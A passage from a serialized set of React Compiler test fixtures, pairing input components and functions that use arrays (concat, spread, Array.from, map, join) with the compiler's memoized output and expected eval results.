    "content": "\n## Input\n\n```javascript\nimport {mutate} from 'shared-runtime';\n\n/**\n * Fixture showing why `concat` needs to capture both the callee and rest args.\n * Here, observe that arr1's values are captured into arr2.\n *  - Later mutations of arr2 may write to values within arr1.\n *  - Observe that it's technically valid to separately memoize the array arr1\n *    itself.\n */\nfunction Foo({inputNum}) {\n  const arr1: Array<number | object> = [{a: 1}, {}];\n  const arr2 = arr1.concat([1, inputNum]);\n  mutate(arr2[0]);\n  return arr2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{inputNum: 2}],\n  sequentialRenders: [{inputNum: 2}, {inputNum: 3}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutate } from \"shared-runtime\";\n\n/**\n * Fixture showing why `concat` needs to capture both the callee and rest args.\n * Here, observe that arr1's values are captured into arr2.\n *  - Later mutations of arr2 may write to values within arr1.\n *  - Observe that it's technically valid to separately memoize the array arr1\n *    itself.\n */\nfunction Foo(t0) {\n  const $ = _c(2);\n  const { inputNum } = t0;\n  let arr2;\n  if ($[0] !== inputNum) {\n    const arr1 = [{ a: 1 }, {}];\n    arr2 = arr1.concat([1, inputNum]);\n    mutate(arr2[0]);\n    $[0] = inputNum;\n    $[1] = arr2;\n  } else {\n    arr2 = $[1];\n  }\n  return arr2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ inputNum: 2 }],\n  sequentialRenders: [{ inputNum: 2 }, { inputNum: 3 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"a\":1,\"wat0\":\"joe\"},{},1,2]\n[{\"a\":1,\"wat0\":\"joe\"},{},1,3]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-concat-should-capture.ts",
    "content": "import {mutate} from 'shared-runtime';\n\n/**\n * Fixture showing why `concat` needs to capture both the callee and rest args.\n * Here, observe that arr1's values are captured into arr2.\n *  - Later mutations of arr2 may write to values within arr1.\n *  - Observe that it's technically valid to separately memoize the array arr1\n *    itself.\n */\nfunction Foo({inputNum}) {\n  const arr1: Array<number | object> = [{a: 1}, {}];\n  const arr2 = arr1.concat([1, inputNum]);\n  mutate(arr2[0]);\n  return arr2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{inputNum: 2}],\n  sequentialRenders: [{inputNum: 2}, {inputNum: 3}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-expression-spread.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = [0, ...props.foo, null, ...props.bar, 'z'];\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{foo: [1, 2, 3], bar: [4, 5, 6]}],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(3);\n  let t0;\n  if ($[0] !== props.bar || $[1] !== props.foo) {\n    t0 = [0, ...props.foo, null, ...props.bar, \"z\"];\n    $[0] = props.bar;\n    $[1] = props.foo;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  const x = t0;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ foo: [1, 2, 3], bar: [4, 5, 6] }],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) [0,1,2,3,null,4,5,6,\"z\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-expression-spread.js",
    "content": "function Component(props) {\n  const x = [0, ...props.foo, null, ...props.bar, 'z'];\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{foo: [1, 2, 3], bar: [4, 5, 6]}],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-from-arg1-captures-arg0.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useIdentity, Stringify} from 'shared-runtime';\n\n/**\n * TODO: Note that this `Array.from` is inferred to be mutating its first\n * argument. This is because React Compiler's typing system does not yet support\n * annotating a function with a set of argument match cases + distinct\n * definitions (polymorphism).\n *\n * In this case, we should be able to infer that the `Array.from` call is\n * not mutating its 0th argument.\n * The 0th argument should be typed as having `effect:Mutate` only when\n * (1) it might be a mutable iterable or\n * (2) the 1st argument might mutate its callee\n */\nfunction Component({value}) {\n  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];\n  useIdentity();\n  const derived = Array.from(arr, (x, idx) => ({...x, id: idx}));\n  return <Stringify>{derived.at(-1)}</Stringify>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 5}],\n  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useIdentity, Stringify } from \"shared-runtime\";\n\n/**\n * TODO: Note that this `Array.from` is inferred to be mutating its first\n * argument. This is because React Compiler's typing system does not yet support\n * annotating a function with a set of argument match cases + distinct\n * definitions (polymorphism).\n *\n * In this case, we should be able to infer that the `Array.from` call is\n * not mutating its 0th argument.\n * The 0th argument should be typed as having `effect:Mutate` only when\n * (1) it might be a mutable iterable or\n * (2) the 1st argument might mutate its callee\n */\nfunction Component(t0) {\n  const $ = _c(10);\n  const { value } = t0;\n  let t1;\n  let t2;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = { value: \"foo\" };\n    t2 = { value: \"bar\" };\n    $[0] = t1;\n    $[1] = t2;\n  } else {\n    t1 = $[0];\n    t2 = $[1];\n  }\n  let t3;\n  if ($[2] !== value) {\n    t3 = [t1, t2, { value }];\n    $[2] = value;\n    $[3] = t3;\n  } else {\n    t3 = $[3];\n  }\n  const arr = t3;\n  useIdentity();\n  let t4;\n  if ($[4] !== arr) {\n    t4 = Array.from(arr, _temp);\n    $[4] = arr;\n    $[5] = t4;\n  } else {\n    t4 = $[5];\n  }\n  const derived = t4;\n  let t5;\n  if ($[6] !== derived) {\n    t5 = derived.at(-1);\n    $[6] = derived;\n    $[7] = t5;\n  } else {\n    t5 = $[7];\n  }\n  let t6;\n  if ($[8] !== t5) {\n    t6 = <Stringify>{t5}</Stringify>;\n    $[8] = t5;\n    $[9] = t6;\n  } else {\n    t6 = $[9];\n  }\n  return t6;\n}\nfunction _temp(x, idx) {\n  return { ...x, id: idx };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 5 }],\n  sequentialRenders: [{ value: 5 }, { value: 6 }, { value: 6 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"children\":{\"value\":5,\"id\":2}}</div>\n<div>{\"children\":{\"value\":6,\"id\":2}}</div>\n<div>{\"children\":{\"value\":6,\"id\":2}}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-from-arg1-captures-arg0.js",
    "content": "import {useIdentity, Stringify} from 'shared-runtime';\n\n/**\n * TODO: Note that this `Array.from` is inferred to be mutating its first\n * argument. This is because React Compiler's typing system does not yet support\n * annotating a function with a set of argument match cases + distinct\n * definitions (polymorphism).\n *\n * In this case, we should be able to infer that the `Array.from` call is\n * not mutating its 0th argument.\n * The 0th argument should be typed as having `effect:Mutate` only when\n * (1) it might be a mutable iterable or\n * (2) the 1st argument might mutate its callee\n */\nfunction Component({value}) {\n  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];\n  useIdentity();\n  const derived = Array.from(arr, (x, idx) => ({...x, id: idx}));\n  return <Stringify>{derived.at(-1)}</Stringify>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 5}],\n  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-from-captures-arg0.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useIdentity, Stringify} from 'shared-runtime';\n\n/**\n * TODO: Note that this `Array.from` is inferred to be mutating its first\n * argument. This is because React Compiler's typing system does not yet support\n * annotating a function with a set of argument match cases + distinct\n * definitions (polymorphism)\n *\n * In this case, we should be able to infer that the `Array.from` call is\n * not mutating its 0th argument.\n * The 0th argument should be typed as having `effect:Mutate` only when\n * (1) it might be a mutable iterable or\n * (2) the 1st argument might mutate its callee\n */\nfunction Component({value}) {\n  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];\n  useIdentity();\n  const derived = Array.from(arr);\n  return <Stringify>{derived.at(-1)}</Stringify>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 5}],\n  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useIdentity, Stringify } from \"shared-runtime\";\n\n/**\n * TODO: Note that this `Array.from` is inferred to be mutating its first\n * argument. This is because React Compiler's typing system does not yet support\n * annotating a function with a set of argument match cases + distinct\n * definitions (polymorphism)\n *\n * In this case, we should be able to infer that the `Array.from` call is\n * not mutating its 0th argument.\n * The 0th argument should be typed as having `effect:Mutate` only when\n * (1) it might be a mutable iterable or\n * (2) the 1st argument might mutate its callee\n */\nfunction Component(t0) {\n  const $ = _c(10);\n  const { value } = t0;\n  let t1;\n  let t2;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = { value: \"foo\" };\n    t2 = { value: \"bar\" };\n    $[0] = t1;\n    $[1] = t2;\n  } else {\n    t1 = $[0];\n    t2 = $[1];\n  }\n  let t3;\n  if ($[2] !== value) {\n    t3 = [t1, t2, { value }];\n    $[2] = value;\n    $[3] = t3;\n  } else {\n    t3 = $[3];\n  }\n  const arr = t3;\n  useIdentity();\n  let t4;\n  if ($[4] !== arr) {\n    t4 = Array.from(arr);\n    $[4] = arr;\n    $[5] = t4;\n  } else {\n    t4 = $[5];\n  }\n  const derived = t4;\n  let t5;\n  if ($[6] !== derived) {\n    t5 = derived.at(-1);\n    $[6] = derived;\n    $[7] = t5;\n  } else {\n    t5 = $[7];\n  }\n  let t6;\n  if ($[8] !== t5) {\n    t6 = <Stringify>{t5}</Stringify>;\n    $[8] = t5;\n    $[9] = t6;\n  } else {\n    t6 = $[9];\n  }\n  return t6;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 5 }],\n  sequentialRenders: [{ value: 5 }, { value: 6 }, { value: 6 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"children\":{\"value\":5}}</div>\n<div>{\"children\":{\"value\":6}}</div>\n<div>{\"children\":{\"value\":6}}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-from-captures-arg0.js",
    "content": "import {useIdentity, Stringify} from 'shared-runtime';\n\n/**\n * TODO: Note that this `Array.from` is inferred to be mutating its first\n * argument. This is because React Compiler's typing system does not yet support\n * annotating a function with a set of argument match cases + distinct\n * definitions (polymorphism)\n *\n * In this case, we should be able to infer that the `Array.from` call is\n * not mutating its 0th argument.\n * The 0th argument should be typed as having `effect:Mutate` only when\n * (1) it might be a mutable iterable or\n * (2) the 1st argument might mutate its callee\n */\nfunction Component({value}) {\n  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];\n  useIdentity();\n  const derived = Array.from(arr);\n  return <Stringify>{derived.at(-1)}</Stringify>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 5}],\n  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-from-maybemutates-arg0.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {mutateAndReturn, Stringify, useIdentity} from 'shared-runtime';\n\nfunction Component({value}) {\n  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];\n  useIdentity();\n  const derived = Array.from(arr).map(mutateAndReturn);\n  return (\n    <Stringify>\n      {derived.at(0)}\n      {derived.at(-1)}\n    </Stringify>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 5}],\n  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}, {value: 7}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutateAndReturn, Stringify, useIdentity } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(7);\n  const { value } = t0;\n  const arr = [{ value: \"foo\" }, { value: \"bar\" }, { value }];\n  useIdentity();\n  const derived = Array.from(arr).map(mutateAndReturn);\n  let t1;\n  if ($[0] !== derived) {\n    t1 = derived.at(0);\n    $[0] = derived;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  let t2;\n  if ($[2] !== derived) {\n    t2 = derived.at(-1);\n    $[2] = derived;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  let t3;\n  if ($[4] !== t1 || $[5] !== t2) {\n    t3 = (\n      <Stringify>\n        {t1}\n        {t2}\n      </Stringify>\n    );\n    $[4] = t1;\n    $[5] = t2;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 5 }],\n  sequentialRenders: [{ value: 5 }, { value: 6 }, { value: 6 }, { value: 7 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"children\":[{\"value\":\"foo\",\"wat0\":\"joe\"},{\"value\":5,\"wat0\":\"joe\"}]}</div>\n<div>{\"children\":[{\"value\":\"foo\",\"wat0\":\"joe\"},{\"value\":6,\"wat0\":\"joe\"}]}</div>\n<div>{\"children\":[{\"value\":\"foo\",\"wat0\":\"joe\"},{\"value\":6,\"wat0\":\"joe\"}]}</div>\n<div>{\"children\":[{\"value\":\"foo\",\"wat0\":\"joe\"},{\"value\":7,\"wat0\":\"joe\"}]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-from-maybemutates-arg0.js",
    "content": "import {mutateAndReturn, Stringify, useIdentity} from 'shared-runtime';\n\nfunction Component({value}) {\n  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];\n  useIdentity();\n  const derived = Array.from(arr).map(mutateAndReturn);\n  return (\n    <Stringify>\n      {derived.at(0)}\n      {derived.at(-1)}\n    </Stringify>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 5}],\n  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}, {value: 7}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-join.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = [{}, [], props.value];\n  const y = x.join(() => 'this closure gets stringified, not called');\n  foo(y);\n  return [x, y];\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(7);\n  let t0;\n  let t1;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = {};\n    t1 = [];\n    $[0] = t0;\n    $[1] = t1;\n  } else {\n    t0 = $[0];\n    t1 = $[1];\n  }\n  let t2;\n  if ($[2] !== props.value) {\n    t2 = [t0, t1, props.value];\n    $[2] = props.value;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  const x = t2;\n  const y = x.join(_temp);\n  foo(y);\n  let t3;\n  if ($[4] !== x || $[5] !== y) {\n    t3 = [x, y];\n    $[4] = x;\n    $[5] = y;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  return t3;\n}\nfunction _temp() {\n  return \"this closure gets stringified, not called\";\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-join.js",
    "content": "function Component(props) {\n  const x = [{}, [], props.value];\n  const y = x.join(() => 'this closure gets stringified, not called');\n  foo(y);\n  return [x, y];\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-captures-receiver-noAlias.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  // This item is part of the receiver, should be memoized\n  const item = {a: props.a};\n  const items = [item];\n  const mapped = items.map(item => item);\n  return mapped;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: {id: 42}}],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.a) {\n    const item = { a: props.a };\n    const items = [item];\n    t0 = items.map(_temp);\n    $[0] = props.a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const mapped = t0;\n  return mapped;\n}\nfunction _temp(item_0) {\n  return item_0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: { id: 42 } }],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"a\":{\"id\":42}}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-captures-receiver-noAlias.js",
    "content": "function Component(props) {\n  // This item is part of the receiver, should be memoized\n  const item = {a: props.a};\n  const items = [item];\n  const mapped = items.map(item => item);\n  return mapped;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: {id: 42}}],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-frozen-array-noAlias.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = [];\n  <dif>{x}</dif>;\n  const y = x.map(item => item);\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const x = t0;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const y = x.map(_temp);\n    t1 = [x, y];\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\nfunction _temp(item) {\n  return item;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) [[],[]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-frozen-array-noAlias.js",
    "content": "function Component(props) {\n  const x = [];\n  <dif>{x}</dif>;\n  const y = x.map(item => item);\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-frozen-array.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = [];\n  <dif>{x}</dif>;\n  const y = x.map(item => item);\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const x = t0;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const y = x.map(_temp);\n    t1 = [x, y];\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\nfunction _temp(item) {\n  return item;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) [[],[]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-frozen-array.js",
    "content": "function Component(props) {\n  const x = [];\n  <dif>{x}</dif>;\n  const y = x.map(item => item);\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-mutable-array-mutating-lambda-noAlias.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = [];\n  const y = x.map(item => {\n    item.updated = true;\n    return item;\n  });\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const x = [];\n    const y = x.map(_temp);\n    t0 = [x, y];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\nfunction _temp(item) {\n  item.updated = true;\n  return item;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) [[],[]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-mutable-array-mutating-lambda-noAlias.js",
    "content": "function Component(props) {\n  const x = [];\n  const y = x.map(item => {\n    item.updated = true;\n    return item;\n  });\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-mutable-array-mutating-lambda.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = [];\n  const y = x.map(item => {\n    item.updated = true;\n    return item;\n  });\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const x = [];\n    const y = x.map(_temp);\n    t0 = [x, y];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\nfunction _temp(item) {\n  item.updated = true;\n  return item;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) [[],[]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-mutable-array-mutating-lambda.js",
    "content": "function Component(props) {\n  const x = [];\n  const y = x.map(item => {\n    item.updated = true;\n    return item;\n  });\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-mutable-array-non-mutating-lambda-mutated-result.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = [{}];\n  const y = x.map(item => {\n    return item;\n  });\n  y[0].flag = true;\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const x = [{}];\n    const y = x.map(_temp);\n    y[0].flag = true;\n    t0 = [x, y];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\nfunction _temp(item) {\n  return item;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) [[{\"flag\":true}],[\"[[ cyclic ref *2 ]]\"]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-mutable-array-non-mutating-lambda-mutated-result.js",
    "content": "function Component(props) {\n  const x = [{}];\n  const y = x.map(item => {\n    return item;\n  });\n  y[0].flag = true;\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-noAlias-escaping-function.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const f = item => item;\n  const x = [...props.items].map(f); // `f` doesn't escape here...\n  return [x, f]; // ...but it does here so it's memoized\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{items: [{id: 1}]}],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  const f = _temp;\n  let t0;\n  if ($[0] !== props.items) {\n    const x = [...props.items].map(f);\n    t0 = [x, f];\n    $[0] = props.items;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\nfunction _temp(item) {\n  return item;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ items: [{ id: 1 }] }],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) [[{\"id\":1}],\"[[ function params=1 ]]\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-noAlias-escaping-function.js",
    "content": "function Component(props) {\n  const f = item => item;\n  const x = [...props.items].map(f); // `f` doesn't escape here...\n  return [x, f]; // ...but it does here so it's memoized\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{items: [{id: 1}]}],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-pattern-params.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component([a, b]) {\n  let y = {a};\n  let z = {b};\n  return [y, z];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [['val1', 'val2']],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component(t0) {\n  const $ = _c(7);\n  const [a, b] = t0;\n  let t1;\n  if ($[0] !== a) {\n    t1 = { a };\n    $[0] = a;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const y = t1;\n  let t2;\n  if ($[2] !== b) {\n    t2 = { b };\n    $[2] = b;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  const z = t2;\n  let t3;\n  if ($[4] !== y || $[5] !== z) {\n    t3 = [y, z];\n    $[4] = y;\n    $[5] = z;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [[\"val1\", \"val2\"]],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"a\":\"val1\"},{\"b\":\"val2\"}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-pattern-params.js",
    "content": "function component([a, b]) {\n  let y = {a};\n  let z = {b};\n  return [y, z];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [['val1', 'val2']],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-pattern-spread-creates-array.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\nimport {makeObject_Primitives, ValidateMemoization} from 'shared-runtime';\n\nfunction Component(props) {\n  // Should memoize independently\n  const x = useMemo(() => makeObject_Primitives(), []);\n\n  const rest = useMemo(() => {\n    const [_, ...rest] = props.array;\n\n    // Should be inferred as Array.proto.push which doesn't mutate input\n    rest.push(x);\n    return rest;\n  });\n\n  return (\n    <>\n      <ValidateMemoization inputs={[]} output={x} />\n      <ValidateMemoization inputs={[props.array]} output={rest} />\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{array: [0, 1, 2]}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\nimport { useMemo } from \"react\";\nimport { makeObject_Primitives, ValidateMemoization } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(9);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = makeObject_Primitives();\n    $[0] = t0;\n 